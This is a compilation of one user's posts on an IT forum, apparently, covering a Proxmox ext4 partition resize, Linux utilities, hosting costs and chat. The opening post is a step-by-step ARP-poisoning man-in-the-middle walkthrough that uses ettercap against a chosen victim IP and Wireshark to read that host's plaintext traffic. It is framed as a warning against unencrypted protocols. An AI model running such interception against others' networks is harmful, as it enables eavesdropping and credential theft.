@pmoncho yes while the man in the middle still passes the packets through to the router and back to the client. If they are using a basic hub (layer 1) rather then a switch don't need to do this at all. just fire up wireshark as hubs don't use mac addresses.

Why we must warn people not to use non encrypted traffic:
Do Not Use Telnet,Ftp or standard http

Here we will do an arp poison man in the middle attack to see another devices traffic on the same network. when we just had hubs this was easier now we have switches we have to use this method:

1. apt install wireshark (Graphical)
2. apt install nmap
3. apt install etttercap-text-only (there is a graphical version, this is cli only)
4. sudo nmap -sn 192.168.1.0/24
5. descover hosts IP and mac addresses / pick a host.
6. sudo ettercap -T(txt only) -S(no ssl) -i(interface) wlan0 -M(man in the middle attack) arp:remote /192.168.1.1(router)// //192.168.1.8//(person to attack)
7. sudo wireshark then apply filter ip.addr = 192.168.1.8
8. obviously cannot see inside encrypted ssl traffic.
9. but we can see plain text packets by applying filter ip.addr == 192.168.1.8 && http
10. save in wireshark as pcap file
11. visit website a-packets.com - generates a report for free.
12. to see telnet as it's clear text use filter = wireshark filter ip.addr = = 192.168.1.8 && telnet

@marcinozga said in Resize Linux VM Ext4 File System Proxmox:

I see few issues above.

• LVM is not a filesystem.
• You don't need to shutdown VM to extend its disk size.
• You don't need to boot from any installer CD to resize partitions, you can do it from within live system with fdisk, although if you have some unusual partition layout you're probably better off doing it offline.
• You can also extend filesystem on a live system, no need for shutdown.

1. correct, didn't think properly when I wrote that. Logical volumes can be put into logical groups that could contain pools of hdd's that can be sees as one, can also move space around easier and have snapshots.
2. I had errors when trying to write the new partition layout hence why I used a live CD. Probably could of looked into it more but didn't want to spend forever on it or mess up any partition data.

@marcinozga said in Handy Linux Utilities:

@stuartjordan said in Handy Linux Utilities:

I'll start With a couple and will add more

NCDU: A utility to track down where high file usage is being used:

I love it and use all the time.

Glances: A nice resource usage utility:

I have a mixed feelings about this one. It's really useful but it's rather bloated, close to 100MB with all dependencies. Docker images are even worse, developer was hesitant with Alpine based images.

NMAP: Network scan/Security scan with Vulnerability scripts:

Classic. No comments needed.

Terminator (gnome) - A different terminal that you can split into multiple terminals:

I've never used it, I don't have any Linux desktops to try it. Killer name though.

Some servers I use Htop but I do like Glances though, I use it on my home machine for example.

Waiting for my ISP to fix my internet problem at the exchange apparently.

@scottalanmiller Living the life, looks so relaxing, what you using for internet?

Looking at docker swag: https://github.com/linuxserver/docker-swag

I've just completed this and didn't want to use Gparted. I've searched and couldn't find any guides on here so I've created the steps I took to extend an Ext4 partition without data loss. I extended the VM storage size in proxmox:

WARNING!!!!!! -Backup all data first! accidentally entering the wrong commands could loose all your data on the partition, extreme caution should be used when extending partitions.

You should also note to check your not using LVM file system. You can check by typing df -h -T – this will show if it’s a EXT4 or LVM partition.

1. First shutdown VM
2. extend VM storage by the amount you need
3. Boot from latest Ubuntu CD (present time 20.04LTS)
4. don’t go through installer, select help from top right corner
   Select enter shell option, you will now enter a bash shell
5. get a list off filesystems by typing df -h -T – you should see something like root “/” type ext4
6. you can type in fdisk -l to display attached drives.
7. my drive is called sda – so type in fdisk /dev/sda
8. press p to display partitions
9. I have Sda1 and sda2 – sda1 is my boot partition
10. You will also see start and end sectors, make a note in case of problems
11. enter d to delete partition, so select 2 (we don’t want to delete our boot partition)
12. enter p and you will now see the partition is deleted.
13. press n to create partition it will say (default 2) just press enter
14. it will display first sector with default of your previous partition – just press Enter (don’t change)
15. It will then display last sector, once again just press Enter (don’t change)
16. it will ask partition #2 contains an ext4 – just say NO to removing signature.
17. enter w to write the partition data.
18. once you are out of fdisk if you type df -h you will notice size hasn’t extended.
19. we have to manually extend the file system with command resize2fs /dev/sda2
    you will now see the extended space added in root “/” by typing df -h

I'll start With a couple and will add more

NCDU: A utility to track down where high file usage is being used:

apt install ncdu

Glances: A nice resource usage utility:

apt install glances

NMAP: Network scan/Security scan with Vulnerability scripts:

apt install nmap

Security Scripts:
https://github.com/vulnersCom/nmap-vulners
https://github.com/scipag/vulscan

you can run a security script by typing as follows, you don't need full file extension as it will look for NSE files in the directory you are under:

nmap 192.168.0/24 --script vulners

Terminator (gnome) - A different terminal that you can split into multiple terminals:

sudo add-apt-repository ppa:gnome-terminator

sudo apt-get update

sudo apt-get install terminator

There are many people now farming plots to create Chia coins, mostly buying enterprise ssd's for temporary storage then buying over 10tb spinning disks to transfer to. I think we are going to end up going down the route with what happend when people started GPU mining. I can see drives becoming very expensive. Thoughts?

@pete-s ah ok, I don't remember it happening as much though.

@wrcombs it's an annoying issue, never used to get it with win7. think the connectivity checker come in with win 8.

I've seen this happen many times, I think it could be DNS or something the way Microsoft checks connectivity. I find it normally sorts itself out. as long as access to the internet is it bothering the client that much?

Can't remember the last time I touched IE... oh hang on it was to install chrome lol

@scottalanmiller wow that view and position looks stunning. I'm slightly jealous

@scottalanmiller cold and windy in the uk, be nice to see your view

@scottalanmiller said in What Are You Doing Right Now:

After a hell of a week, I am sitting on the beach working!

What beach and is the weather nice

@obsolesce is that third poor monitor been shoved on to the cabinet you need a bigger desk lol.

@travisdh1 said in Changing subnet mask?:

@stuartjordan said in Changing subnet mask?:

@travisdh1 I wouldn't host with Microsoft's Azure due to their costs, well accept for 365 for small businesses.
But there are many other server hosting places that are reliable including amazon, digital ocean and vultr for VM's and OVH, Hestner for dedicated. hell you can even colo in the uk for about £50-60 per 1u. I've seen a 5u rack for about £100 the other day.

I wouldn't either. They all use Office 365 and get everything they need via services offered with Office 365 already. No need to pay more for a VM to do anything.

Now, if it was me doing the selling/planning I'd be using Zoho Office rather than Office 365, but I have no say in that stuff.

I've heard good things about people using Zoho, I did give there free account a try a few years ago. They seem to incorporate a lot into their product, it's not just email is it.

@jaredbusch I know it's cloud, but you still really creating VM's or containers in most cases just that you can upscale and downscale easier due to how you can change the resources and how the cloud is managed. I just see it as an expensive solution for most workloads.